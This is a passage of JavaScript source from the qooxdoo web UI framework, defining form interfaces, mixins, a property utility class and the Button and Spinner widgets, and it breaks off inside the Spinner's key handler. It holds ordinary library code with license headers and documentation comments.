qx.Interface.define("qx.ui.form.IColorForm", { /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fired when the value was modified */ "changeValue" : "qx.event.type.Data" }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /* --------------------------------------------------------------------------- VALUE PROPERTY --------------------------------------------------------------------------- */ /** * Sets the element's value. * * @param value {Color|null} The new value of the element. */ setValue : function(value) { return arguments.length == 1; }, /** * Resets the element's value to its initial value. */ resetValue : function() {}, /** * The element's user set value. * * @return {Color|null} The value. */ getValue : function() {} } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Form interface for all form widgets which have date as their primary * data type like datechooser's. */ qx.Interface.define("qx.ui.form.IDateForm", { /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fired when the value was modified */ "changeValue" : "qx.event.type.Data" }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /* --------------------------------------------------------------------------- VALUE PROPERTY --------------------------------------------------------------------------- */ /** * Sets the element's value. * * @param value {Date|null} The new value of the element. */ setValue : function(value) { return arguments.length == 1; }, /** * Resets the element's value to its initial value. */ resetValue : function() {}, /** * The element's user set value. * * @return {Date|null} The value. */ getValue : function() {} } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Form interface for all form widgets which use a numeric value as their * primary data type like a spinner. */ qx.Interface.define("qx.ui.form.INumberForm", { /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fired when the value was modified */ "changeValue" : "qx.event.type.Data" }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /* --------------------------------------------------------------------------- VALUE PROPERTY --------------------------------------------------------------------------- */ /** * Sets the element's value. * * @param value {Number|null} The new value of the element. */ setValue : function(value) { return arguments.length == 1; }, /** * Resets the element's value to its initial value. */ resetValue : function() {}, /** * The element's user set value. * * @return {Number|null} The value. */ getValue : function() {} } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * This mixin is included by all widgets, which support an 'execute' like * buttons or menu entries. */ qx.Mixin.define("qx.ui.core.MExecutable", { /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fired if the {@link #execute} method is invoked.*/ "execute" : "qx.event.type.Event" }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * A command called if the {@link #execute} method is called, e.g. on a * button click. */ command : { check : "qx.ui.core.Command", apply : "_applyCommand", event : "changeCommand", nullable : true } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __executableBindingIds : null, __semaphore : false, __executeListenerId : null, /** * {Map} Set of properties, which will by synced from the command to the * including widget * * @lint ignoreReferenceField(_bindableProperties) */ _bindableProperties : [ "enabled", "label", "icon", "toolTipText", "value", "menu" ], /** * Initiate the execute action. */ execute : function() { var cmd = this.getCommand(); if (cmd) { if (this.__semaphore) { this.__semaphore = false; } else { this.__semaphore = true; cmd.execute(this); } } this.fireEvent("execute"); }, /** * Handler for the execute event of the command. * * @param e {qx.event.type.Event} The execute event of the command. */ __onCommandExecute : function(e) { if (this.__semaphore) { this.__semaphore = false; return; } this.__semaphore = true; this.execute(); }, // property apply _applyCommand : function(value, old) { // execute forwarding if (old != null) { old.removeListenerById(this.__executeListenerId); } if (value != null) { this.__executeListenerId = value.addListener( "execute", this.__onCommandExecute, this ); } // binding stuff var ids = this.__executableBindingIds; if (ids == null) { this.__executableBindingIds = ids = {}; } var selfPropertyValue; for (var i = 0; i < this._bindableProperties.length; i++) { var property = this._bindableProperties[i]; // remove the old binding if (old != null && !old.isDisposed() && ids[property] != null) { old.removeBinding(ids[property]); ids[property] = null; } // add the new binding if (value != null && qx.Class.hasProperty(this.constructor, property)) { // handle the init value (dont sync the initial null) var cmdPropertyValue = value.get(property); if (cmdPropertyValue == null) { selfPropertyValue = this.get(property); // check also for themed values [BUG #5906] if (selfPropertyValue == null) { // update the appearance to make sure every themed property is up to date this.syncAppearance(); selfPropertyValue = qx.util.PropertyUtil.getThemeValue( this, property ); } } else { // Reset the self property value [BUG #4534] selfPropertyValue = null; } // set up the binding ids[property] = value.bind(property, this, property); // reapply the former value if (selfPropertyValue) { this.set(property, selfPropertyValue); } } } } }, destruct : function() { this._applyCommand(null, this.getCommand()); this.__executableBindingIds = null; } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * A helper class for accessing the property system directly. * * This class is rather to be used internally. For all regular usage of the * property system the default API should be sufficient. */ qx.Class.define("qx.util.PropertyUtil", { statics : { /** * Get the property map of the given class * * @param clazz {Class} a qooxdoo class * @return {Map} A properties map as defined in {@link qx.Class#define} * including the properties of included mixins and not including refined * properties. */ getProperties : function(clazz) { return clazz.$$properties; }, /** * Get the property map of the given class including the properties of all * superclasses! * * @param clazz {Class} a qooxdoo class * @return {Map} The properties map as defined in {@link qx.Class#define} * including the properties of included mixins of the current class and * all superclasses. */ getAllProperties : function(clazz) { var properties = {}; var superclass = clazz; // go threw the class hierarchy while (superclass != qx.core.Object) { var currentProperties = this.getProperties(superclass); for (var property in currentProperties) { properties[property] = currentProperties[property]; } superclass = superclass.superclass; } return properties; }, /* ------------------------------------------------------------------------- USER VALUES ------------------------------------------------------------------------- */ /** * Returns the user value of the given property * * @param object {Object} The object to access * @param propertyName {String} The name of the property * @return {var} The user value */ getUserValue : function(object, propertyName) { return object["$$user_" + propertyName]; }, /** * Sets the user value of the given property * * @param object {Object} The object to access * @param propertyName {String} The name of the property * @param value {var} The value to set * @return {void} */ setUserValue : function(object, propertyName, value) { object["$$user_" + propertyName] = value; }, /** * Deletes the user value of the given property * * @param object {Object} The object to access * @param propertyName {String} The name of the property * @return {void} */ deleteUserValue : function(object, propertyName) { delete(object["$$user_" + propertyName]); }, /* ------------------------------------------------------------------------- INIT VALUES ------------------------------------------------------------------------- */ /** * Returns the init value of the given property * * @param object {Object} The object to access * @param propertyName {String} The name of the property * @return {var} The init value */ getInitValue : function(object, propertyName) { return object["$$init_" + propertyName]; }, /** * Sets the init value of the given property * * @param object {Object} The object to access * @param propertyName {String} The name of the property * @param value {var} The value to set * @return {void} */ setInitValue : function(object, propertyName, value) { object["$$init_" + propertyName] = value; }, /** * Deletes the init value of the given property * * @param object {Object} The object to access * @param propertyName {String} The name of the property * @return {void} */ deleteInitValue : function(object, propertyName) { delete(object["$$init_" + propertyName]); }, /* ------------------------------------------------------------------------- THEME VALUES ------------------------------------------------------------------------- */ /** * Returns the theme value of the given property * * @param object {Object} The object to access * @param propertyName {String} The name of the property * @return {var} The theme value */ getThemeValue : function(object, propertyName) { return object["$$theme_" + propertyName]; }, /** * Sets the theme value of the given property * * @param object {Object} The object to access * @param propertyName {String} The name of the property * @param value {var} The value to set * @return {void} */ setThemeValue : function(object, propertyName, value) { object["$$theme_" + propertyName] = value; }, /** * Deletes the theme value of the given property * * @param object {Object} The object to access * @param propertyName {String} The name of the property * @return {void} */ deleteThemeValue : function(object, propertyName) { delete(object["$$theme_" + propertyName]); }, /* ------------------------------------------------------------------------- THEMED PROPERTY ------------------------------------------------------------------------- */ /** * Sets a themed property * * @param object {Object} The object to access * @param propertyName {String} The name of the property * @param value {var} The value to set * @return {void} */ setThemed : function(object, propertyName, value) { var styler = qx.core.Property.$$method.setThemed; object[styler[propertyName]](value); }, /** * Resets a themed property * * @param object {Object} The object to access * @param propertyName {String} The name of the property * @return {void} */ resetThemed : function(object, propertyName) { var unstyler = qx.core.Property.$$method.resetThemed; object[unstyler[propertyName]](); } } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Form interface for all form widgets which are executable in some way. This * could be a button for example. */ qx.Interface.define("qx.ui.form.IExecutable", { /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** * Fired when the widget is executed. Sets the "data" property of the * event to the object that issued the command. */ "execute" : "qx.event.type.Data" }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /* --------------------------------------------------------------------------- COMMAND PROPERTY --------------------------------------------------------------------------- */ /** * Set the command of this executable. * * @param command {qx.ui.core.Command} The command. */ setCommand : function(command) { return arguments.length == 1; }, /** * Return the current set command of this executable. * * @return {qx.ui.core.Command} The current set command. */ getCommand : function() {}, /** * Fire the "execute" event on the command. */ execute: function() {} } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * A Button widget which supports various states and allows it to be used * via the mouse and the keyboard. * * If the user presses the button by clicking on it, or the <code>Enter</code> or * <code>Space</code> keys, the button fires an {@link qx.ui.core.MExecutable#execute} event. * * If the {@link qx.ui.core.MExecutable#command} property is set, the * command is executed as well. * * *Example* * * Here is a little example of how to use the widget. * * <pre class='javascript'> * var button = new qx.ui.form.Button("Hello World"); * * button.addListener("execute", function(e) { * alert("Button was clicked"); * }, this); * * this.getRoot.add(button); * </pre> * * This example creates a button with the label "Hello World" and attaches an * event listener to the {@link #execute} event. * * *External Documentation* * * <a href='http://manual.qooxdoo.org/${qxversion}/pages/widget/button.html' target='_blank'> * Documentation of this widget in the qooxdoo manual.</a> */ qx.Class.define("qx.ui.form.Button", { extend : qx.ui.basic.Atom, include : [qx.ui.core.MExecutable], implement : [qx.ui.form.IExecutable], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param label {String} label of the atom * @param icon {String?null} Icon URL of the atom * @param command {qx.ui.core.Command?null} Command instance to connect with */ construct : function(label, icon, command) { this.base(arguments, label, icon); if (command != null) { this.setCommand(command); } // Add listeners this.addListener("mouseover", this._onMouseOver); this.addListener("mouseout", this._onMouseOut); this.addListener("mousedown", this._onMouseDown); this.addListener("mouseup", this._onMouseUp); this.addListener("keydown", this._onKeyDown); this.addListener("keyup", this._onKeyUp); // Stop events this.addListener("dblclick", this._onStopEvent); }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { // overridden appearance : { refine : true, init : "button" }, // overridden focusable : { refine : true, init : true } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { // overridden /** * @lint ignoreReferenceField(_forwardStates) */ _forwardStates : { focused : true, hovered : true, pressed : true, disabled : true }, /* --------------------------------------------------------------------------- USER API --------------------------------------------------------------------------- */ /** * Manually press the button */ press : function() { if (this.hasState("abandoned")) { return; } this.addState("pressed"); }, /** * Manually release the button */ release : function() { if (this.hasState("pressed")) { this.removeState("pressed"); } }, /** * Completely reset the button (remove all states) */ reset : function() { this.removeState("pressed"); this.removeState("abandoned"); this.removeState("hovered"); }, /* --------------------------------------------------------------------------- EVENT LISTENERS --------------------------------------------------------------------------- */ /** * Listener method for "mouseover" event * <ul> * <li>Adds state "hovered"</li> * <li>Removes "abandoned" and adds "pressed" state (if "abandoned" state is set)</li> * </ul> * * @param e {Event} Mouse event * @return {void} */ _onMouseOver : function(e) { if (!this.isEnabled() || e.getTarget() !== this) { return; } if (this.hasState("abandoned")) { this.removeState("abandoned"); this.addState("pressed"); } this.addState("hovered"); }, /** * Listener method for "mouseout" event * <ul> * <li>Removes "hovered" state</li> * <li>Adds "abandoned" and removes "pressed" state (if "pressed" state is set)</li> * </ul> * * @param e {Event} Mouse event * @return {void} */ _onMouseOut : function(e) { if (!this.isEnabled() || e.getTarget() !== this) { return; } this.removeState("hovered"); if (this.hasState("pressed")) { this.removeState("pressed"); this.addState("abandoned"); } }, /** * Listener method for "mousedown" event * <ul> * <li>Removes "abandoned" state</li> * <li>Adds "pressed" state</li> * </ul> * * @param e {Event} Mouse event * @return {void} */ _onMouseDown : function(e) { if (!e.isLeftPressed()) { return; } e.stopPropagation(); // Activate capturing if the button get a mouseout while // the button is pressed. this.capture(); this.removeState("abandoned"); this.addState("pressed"); }, /** * Listener method for "mouseup" event * <ul> * <li>Removes "pressed" state (if set)</li> * <li>Removes "abandoned" state (if set)</li> * <li>Adds "hovered" state (if "abandoned" state is not set)</li> *</ul> * * @param e {Event} Mouse event * @return {void} */ _onMouseUp : function(e) { this.releaseCapture(); // We must remove the states before executing the command // because in cases were the window lost the focus while // executing we get the capture phase back (mouseout). var hasPressed = this.hasState("pressed"); var hasAbandoned = this.hasState("abandoned"); if (hasPressed) { this.removeState("pressed"); } if (hasAbandoned) { this.removeState("abandoned"); } else { this.addState("hovered"); if (hasPressed) { this.execute(); } } e.stopPropagation(); }, /** * Listener method for "keydown" event.<br/> * Removes "abandoned" and adds "pressed" state * for the keys "Enter" or "Space" * * @param e {Event} Key event * @return {void} */ _onKeyDown : function(e) { switch(e.getKeyIdentifier()) { case "Enter": case "Space": this.removeState("abandoned"); this.addState("pressed"); e.stopPropagation(); } }, /** * Listener method for "keyup" event.<br/> * Removes "abandoned" and "pressed" state (if "pressed" state is set) * for the keys "Enter" or "Space" * * @param e {Event} Key event * @return {void} */ _onKeyUp : function(e) { switch(e.getKeyIdentifier()) { case "Enter": case "Space": if (this.hasState("pressed")) { this.removeState("abandoned"); this.removeState("pressed"); this.execute(); e.stopPropagation(); } } } } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Mixin handling the valid and required properties for the form widgets. */ qx.Mixin.define("qx.ui.form.MForm", { construct : function() { if (qx.core.Environment.get("qx.dynlocale")) { qx.locale.Manager.getInstance().addListener("changeLocale", this.__onChangeLocale, this); } }, properties : { /** * Flag signaling if a widget is valid. If a widget is invalid, an invalid * state will be set. */ valid : { check : "Boolean", init : true, apply : "_applyValid", event : "changeValid" }, /** * Flag signaling if a widget is required. */ required : { check : "Boolean", init : false, event : "changeRequired" }, /** * Message which is shown in an invalid tooltip. */ invalidMessage : { check : "String", init: "", event : "changeInvalidMessage" }, /** * Message which is shown in an invalid tooltip if the {@link #required} is * set to true. */ requiredInvalidMessage : { check : "String", nullable : true, event : "changeInvalidMessage" } }, members : { // apply method _applyValid: function(value, old) { value ? this.removeState("invalid") : this.addState("invalid"); }, /** * Locale change event handler * * @signature function(e) * @param e {Event} the change event */ __onChangeLocale : qx.core.Environment.select("qx.dynlocale", { "true" : function(e) { // invalid message var invalidMessage = this.getInvalidMessage(); if (invalidMessage && invalidMessage.translate) { this.setInvalidMessage(invalidMessage.translate()); } // required invalid message var requiredInvalidMessage = this.getRequiredInvalidMessage(); if (requiredInvalidMessage && requiredInvalidMessage.translate) { this.setRequiredInvalidMessage(requiredInvalidMessage.translate()); } }, "false" : null }) }, destruct : function() { if (qx.core.Environment.get("qx.dynlocale")) { qx.locale.Manager.getInstance().removeListener("changeLocale", this.__onChangeLocale, this); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Form interface for all widgets which deal with ranges. The spinner is a good * example for a range using widget. */ qx.Interface.define("qx.ui.form.IRange", { /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /* --------------------------------------------------------------------------- MINIMUM PROPERTY --------------------------------------------------------------------------- */ /** * Set the minimum value of the range. * * @param min {Number} The minimum. */ setMinimum : function(min) { return arguments.length == 1; }, /** * Return the current set minimum of the range. * * @return {Number} The current set minimum. */ getMinimum : function() {}, /* --------------------------------------------------------------------------- MAXIMUM PROPERTY --------------------------------------------------------------------------- */ /** * Set the maximum value of the range. * * @param max {Number} The maximum. */ setMaximum : function(max) { return arguments.length == 1; }, /** * Return the current set maximum of the range. * * @return {Number} The current set maximum. */ getMaximum : function() {}, /* --------------------------------------------------------------------------- SINGLESTEP PROPERTY --------------------------------------------------------------------------- */ /** * Sets the value for single steps in the range. * * @param step {Number} The value of the step. */ setSingleStep : function(step) { return arguments.length == 1; }, /** * Returns the value which will be stepped in a single step in the range. * * @return {Number} The current value for single steps. */ getSingleStep : function() {}, /* --------------------------------------------------------------------------- PAGESTEP PROPERTY --------------------------------------------------------------------------- */ /** * Sets the value for page steps in the range. * * @param step {Number} The value of the step. */ setPageStep : function(step) { return arguments.length == 1; }, /** * Returns the value which will be stepped in a page step in the range. * * @return {Number} The current value for page steps. */ getPageStep : function() {} } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * This mixin defines the <code>contentPadding</code> property, which is used * by widgets like the window or group box, which must have a property, which * defines the padding of an inner pane. * * The including class must implement the method * <code>_getContentPaddingTarget</code>, which must return the widget on which * the padding should be applied. */ qx.Mixin.define("qx.ui.core.MContentPadding", { /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** Top padding of the content pane */ contentPaddingTop : { check : "Integer", init : 0, apply : "_applyContentPadding", themeable : true }, /** Right padding of the content pane */ contentPaddingRight : { check : "Integer", init : 0, apply : "_applyContentPadding", themeable : true }, /** Bottom padding of the content pane */ contentPaddingBottom : { check : "Integer", init : 0, apply : "_applyContentPadding", themeable : true }, /** Left padding of the content pane */ contentPaddingLeft : { check : "Integer", init : 0, apply : "_applyContentPadding", themeable : true }, /** * The 'contentPadding' property is a shorthand property for setting 'contentPaddingTop', * 'contentPaddingRight', 'contentPaddingBottom' and 'contentPaddingLeft' * at the same time. * * If four values are specified they apply to top, right, bottom and left respectively. * If there is only one value, it applies to all sides, if there are two or three, * the missing values are taken from the opposite side. */ contentPadding : { group : [ "contentPaddingTop", "contentPaddingRight", "contentPaddingBottom", "contentPaddingLeft" ], mode : "shorthand", themeable : true } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** * {Map} Maps property names of content padding to the setter of the padding * * @lint ignoreReferenceField(__contentPaddingSetter) */ __contentPaddingSetter : { contentPaddingTop : "setPaddingTop", contentPaddingRight : "setPaddingRight", contentPaddingBottom : "setPaddingBottom", contentPaddingLeft : "setPaddingLeft" }, /** * {Map} Maps property names of content padding to the resetter of the padding * * @lint ignoreReferenceField(__contentPaddingResetter) */ __contentPaddingResetter : { contentPaddingTop : "resetPaddingTop", contentPaddingRight : "resetPaddingRight", contentPaddingBottom : "resetPaddingBottom", contentPaddingLeft : "resetPaddingLeft" }, // property apply _applyContentPadding : function(value, old, name) { var target = this._getContentPaddingTarget(); if (value == null) { var resetter = this.__contentPaddingResetter[name]; target[resetter](); } else { var setter = this.__contentPaddingSetter[name]; target[setter](value); } } } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Andreas Ecker (ecker) * Martin Wittemann (martinwittemann) * Jonathan Weiß (jonathan_rass) ************************************************************************ */ /** * A *spinner* is a control that allows you to adjust a numerical value, * typically within an allowed range. An obvious example would be to specify the * month of a year as a number in the range 1 - 12. * * To do so, a spinner encompasses a field to display the current value (a * textfield) and controls such as up and down buttons to change that value. The * current value can also be changed by editing the display field directly, or * using mouse wheel and cursor keys. * * An optional {@link #numberFormat} property allows you to control the format of * how a value can be entered and will be displayed. * * A brief, but non-trivial example: * * <pre class='javascript'> * var s = new qx.ui.form.Spinner(); * s.set({ * maximum: 3000, * minimum: -3000 * }); * var nf = new qx.util.format.NumberFormat(); * nf.setMaximumFractionDigits(2); * s.setNumberFormat(nf); * </pre> * * A spinner instance without any further properties specified in the * constructor or a subsequent *set* command will appear with default * values and behaviour. * * @childControl textfield {qx.ui.form.TextField} holds the current value of the spinner * @childControl upbutton {qx.ui.form.Button} button to increase the value * @childControl downbutton {qx.ui.form.Button} button to decrease the value * */ qx.Class.define("qx.ui.form.Spinner", { extend : qx.ui.core.Widget, implement : [ qx.ui.form.INumberForm, qx.ui.form.IRange, qx.ui.form.IForm ], include : [ qx.ui.core.MContentPadding, qx.ui.form.MForm ], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param min {Number} Minimum value * @param value {Number} Current value * @param max {Number} Maximum value */ construct : function(min, value, max) { this.base(arguments); // MAIN LAYOUT var layout = new qx.ui.layout.Grid(); layout.setColumnFlex(0, 1); layout.setRowFlex(0,1); layout.setRowFlex(1,1); this._setLayout(layout); // EVENTS this.addListener("keydown", this._onKeyDown, this); this.addListener("keyup", this._onKeyUp, this); this.addListener("mousewheel", this._onMouseWheel, this); if (qx.core.Environment.get("qx.dynlocale")) { qx.locale.Manager.getInstance().addListener("changeLocale", this._onChangeLocale, this); } // CREATE CONTROLS this._createChildControl("textfield"); this._createChildControl("upbutton"); this._createChildControl("downbutton"); // INITIALIZATION if (min != null) { this.setMinimum(min); } if (max != null) { this.setMaximum(max); } if (value !== undefined) { this.setValue(value); } else { this.initValue(); } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties: { // overridden appearance: { refine : true, init : "spinner" }, // overridden focusable : { refine : true, init : true }, /** The amount to increment on each event (keypress or mousedown) */ singleStep: { check : "Number", init : 1 }, /** The amount to increment on each pageup/pagedown keypress */ pageStep: { check : "Number", init : 10 }, /** minimal value of the Range object */ minimum: { check : "Number", apply : "_applyMinimum", init : 0, event: "changeMinimum" }, /** The value of the spinner. */ value: { check : "this._checkValue(value)", nullable : true, apply : "_applyValue", init : 0, event : "changeValue" }, /** maximal value of the Range object */ maximum: { check : "Number", apply : "_applyMaximum", init : 100, event: "changeMaximum" }, /** whether the value should wrap around */ wrap: { check : "Boolean", init : false, apply : "_applyWrap" }, /** Controls whether the textfield of the spinner is editable or not */ editable : { check : "Boolean", init : true, apply : "_applyEditable" }, /** Controls the display of the number in the textfield */ numberFormat : { check : "qx.util.format.NumberFormat", apply : "_applyNumberFormat", nullable : true }, // overridden allowShrinkY : { refine : true, init : false } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** Saved last value in case invalid text is entered */ __lastValidValue : null, /** Whether the page-up button has been pressed */ __pageUpMode : false, /** Whether the page-down button has been pressed */ __pageDownMode : false, /* --------------------------------------------------------------------------- WIDGET INTERNALS --------------------------------------------------------------------------- */ // overridden _createChildControlImpl : function(id, hash) { var control; switch(id) { case "textfield": control = new qx.ui.form.TextField(); control.setFilter(this._getFilterRegExp()); control.addState("inner"); control.setWidth(40); control.setFocusable(false); control.addListener("changeValue", this._onTextChange, this); this._add(control, {column: 0, row: 0, rowSpan: 2}); break; case "upbutton": control = new qx.ui.form.RepeatButton(); control.addState("inner"); control.setFocusable(false); control.addListener("execute", this._countUp, this); this._add(control, {column: 1, row: 0}); break; case "downbutton": control = new qx.ui.form.RepeatButton(); control.addState("inner"); control.setFocusable(false); control.addListener("execute", this._countDown, this); this._add(control, {column:1, row: 1}); break; } return control || this.base(arguments, id); }, /** * Returns the regular expression used as the text field's filter * * @return {RegExp} The filter RegExp. */ _getFilterRegExp : function() { var decimalSeparator = qx.locale.Number.getDecimalSeparator( qx.locale.Manager.getInstance().getLocale() ); var groupSeparator = qx.locale.Number.getGroupSeparator( qx.locale.Manager.getInstance().getLocale() ); var prefix = ""; var postfix = ""; if (this.getNumberFormat() !== null) { prefix = this.getNumberFormat().getPrefix() || ""; postfix = this.getNumberFormat().getPostfix() || ""; } var filterRegExp = new RegExp("[0-9" + qx.lang.String.escapeRegexpChars(decimalSeparator) + qx.lang.String.escapeRegexpChars(groupSeparator) + qx.lang.String.escapeRegexpChars(prefix) + qx.lang.String.escapeRegexpChars(postfix) + "\-]" ); return filterRegExp; }, // overridden /** * @lint ignoreReferenceField(_forwardStates) */ _forwardStates : { focused : true, invalid : true }, // overridden tabFocus : function() { var field = this.getChildControl("textfield"); field.getFocusElement().focus(); field.selectAllText(); }, /* --------------------------------------------------------------------------- APPLY METHODS --------------------------------------------------------------------------- */ /** * Apply routine for the minimum property. * * It sets the value of the spinner to the maximum of the current spinner * value and the given min property value. * * @param value {Number} The new value of the min property * @param old {Number} The old value of the min property */ _applyMinimum : function(value, old) { if (this.getMaximum() < value) { this.setMaximum(value); } if (this.getValue() < value) { this.setValue(value); } else { this._updateButtons(); } }, /** * Apply routine for the maximum property. * * It sets the value of the spinner to the minimum of the current spinner * value and the given max property value. * * @param value {Number} The new value of the max property * @param old {Number} The old value of the max property */ _applyMaximum : function(value, old) { if (this.getMinimum() > value) { this.setMinimum(value); } if (this.getValue() > value) { this.setValue(value); } else { this._updateButtons(); } }, // overridden _applyEnabled : function(value, old) { this.base(arguments, value, old); this._updateButtons(); }, /** * Check whether the value being applied is allowed. * * If you override this to change the allowed type, you will also * want to override {@link #_applyValue}, {@link #_applyMinimum}, * {@link #_applyMaximum}, {@link #_countUp}, {@link #_countDown}, and * {@link #_onTextChange} methods as those cater specifically to numeric * values. * * @param value {Any} * The value being set * @return {Boolean} * <i>true</i> if the value is allowed; * <i>false> otherwise. */ _checkValue : function(value) { return typeof value === "number" && value >= this.getMinimum() && value <= this.getMaximum(); }, /** * Apply routine for the value property. * * It checks the min and max values, disables / enables the * buttons and handles the wrap around. * * @param value {Number} The new value of the spinner * @param old {Number} The former value of the spinner */ _applyValue: function(value, old) { var textField = this.getChildControl("textfield"); this._updateButtons(); // save the last valid value of the spinner this.__lastValidValue = value; // write the value of the spinner to the textfield if (value !== null) { if (this.getNumberFormat()) { textField.setValue(this.getNumberFormat().format(value)); } else { textField.setValue(value + ""); } } else { textField.setValue(""); } }, /** * Apply routine for the editable property.<br/> * It sets the textfield of the spinner to not read only. * * @param value {Boolean} The new value of the editable property * @param old {Boolean} The former value of the editable property */ _applyEditable : function(value, old) { var textField = this.getChildControl("textfield"); if (textField) { textField.setReadOnly(!value); } }, /** * Apply routine for the wrap property.<br/> * Enables all buttons if the wrapping is enabled. * * @param value {Boolean} The new value of the wrap property * @param old {Boolean} The former value of the wrap property */ _applyWrap : function(value, old) { this._updateButtons(); }, /** * Apply routine for the numberFormat property.<br/> * When setting a number format, the display of the * value in the textfield will be changed immediately. * * @param value {Boolean} The new value of the numberFormat property * @param old {Boolean} The former value of the numberFormat property */ _applyNumberFormat : function(value, old) { var textfield = this.getChildControl("textfield"); textfield.setFilter(this._getFilterRegExp()); this.getNumberFormat().addListener("changeNumberFormat", this._onChangeNumberFormat, this); this._applyValue(this.__lastValidValue, undefined); }, /** * Returns the element, to which the content padding should be applied. * * @return {qx.ui.core.Widget} The content padding target. */ _getContentPaddingTarget : function() { return this.getChildControl("textfield"); }, /** * Checks the min and max values, disables / enables the * buttons and handles the wrap around. */ _updateButtons : function() { var upButton = this.getChildControl("upbutton"); var downButton = this.getChildControl("downbutton"); var value = this.getValue(); if (!this.getEnabled()) { // If Spinner is disabled -> disable buttons upButton.setEnabled(false); downButton.setEnabled(false); } else { if (this.getWrap()) { // If wraped -> always enable buttons upButton.setEnabled(true); downButton.setEnabled(true); } else { // check max value if (value !== null && value < this.getMaximum()) { upButton.setEnabled(true); } else { upButton.setEnabled(false); } // check min value if (value !== null && value > this.getMinimum()) { downButton.setEnabled(true); } else { downButton.setEnabled(false); } } } }, /* --------------------------------------------------------------------------- KEY EVENT-HANDLING --------------------------------------------------------------------------- */ /** * Callback for "keyDown" event.<br/> * Controls the interval mode ("single" or "page") * and the interval increase by detecting "Up"/"Down" * and "PageUp"/"PageDown" keys.<br/> * The corresponding button will be pressed. * * @param e {qx.event.type.KeySequence} keyDown event */ _onKeyDown: function(e) { switch(e.getKeyIdentifier()) { case "PageUp": // mark that the spinner is in page mode and process further this.__pageUpMode = true; case "Up": this.getChildControl("upbutton").press(); break; case "PageDown": // mark that the spinner is in page mode and process further this.__pageDownMode = true; case "Down": this.getChildControl("downbutton").press(); break; default: // Do not stop unused events return; } 